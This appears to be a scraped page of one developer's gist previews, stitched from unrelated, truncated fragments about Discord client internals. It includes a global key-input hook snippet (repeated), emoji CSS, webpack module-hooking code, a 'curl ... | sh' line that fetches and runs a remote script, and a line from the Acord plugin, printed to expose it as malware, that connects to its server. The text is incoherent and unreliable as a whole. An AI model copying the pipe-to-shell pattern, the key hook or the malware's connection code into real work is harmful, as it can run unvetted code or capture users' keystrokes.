you can use Discord's api for this:
DiscordNative.nativeModules.requireModule("discord_utils").inputEventRegister(
1337,
[
[0, 0xA2],
[0, 0x42]
],
isDown => console.log(isDown),
1210165420493905982 | |
956054319529066527 | |
956075132571508757 | |
1171196139647803513 | |
956210819325132921 | |
956164930061619230 | |
1185038257789079614 | |
956246550152118374 | |
956178931512410222 | |
1172076548791226439 |
// If you're using NodeJS: Ignore this file | |
// If you're using Web: Delete the require("canvas") line in index.js and copy paste these functions into index.js | |
function createCanvas() { | |
return document.createElement("canvas"); | |
} | |
function loadImage(url) { | |
return new Promise((resolve, reject) => { | |
const img = new Image; |
you can use Discord's api for this:
DiscordNative.nativeModules.requireModule("discord_utils").inputEventRegister(
1337,
[
[0, 0xA2],
[0, 0x42]
],
isDown => console.log(isDown),
.emoji[alt="🥹"] { | |
content: url("https://vendicated.github.io/random-files/face_holding_back_tears.svg"); | |
} | |
.emoji[alt="🥺"] { | |
content: url("https://vendicated.github.io/random-files/pleading_face.svg"); | |
} |
Uses NerdFont's git branch icon so a Nerd patched font is needed (or just remove the $([char]0xe725)
)
// This code can be found in Acord's code in an obfuscated form. Just search for the socket url or one of the atob strings and you will | |
// find it. | |
// Permament Link to their Repo (they might delete this): | |
// https://github.com/AcordPlugin/releases/blob/4944d811f1c5e228c219d4966c5436bdfc6639d3/fixture/extension.js | |
// Permament Link (fork): | |
// https://github.com/Vendicated/acord-is-malware/blob/main/fixture/extension.js | |
// Archive Link: | |
// https://web.archive.org/web/20230115234723/https://github.com/AcordPlugin/releases/blob/4944d811f1c5e228c219d4966c5436bdfc6639d3/fixture/extension.js | |
const connection = socketIo.connect("https://socket.acord.app/", { autoConnect: !1, reconnection: !0, transports: ["websocket"] }); |
interface RootObject { | |
isRenderer: boolean; | |
setUncaughtExceptionHandler: (...args: any[]) => any; | |
nativeModules: { | |
ensureModule: (...args: any[]) => any; | |
requireModule: (...args: any[]) => any; | |
canBootstrapNewUpdater: boolean; | |
}; | |
process: { | |
platform: string; |
curl https://gist.githubusercontent.com/Vendicated/63efda0ad96f707a3ba290f1aa2e8a86/raw/termux-ytdl.sh | sh -
if (typeof wreq === "undefined") { | |
var wreq = webpackChunkdiscord_app.push([[Symbol()], {}, w => w]); | |
webpackChunkdiscord_app.pop(); | |
} | |
function makeWebpackSearchWorker() { | |
// Step 1: Build Export and Code map to pass to the worker. | |
// This is because you can't serialise functions, so we have to transform webpack first | |
var exportMap = {}; |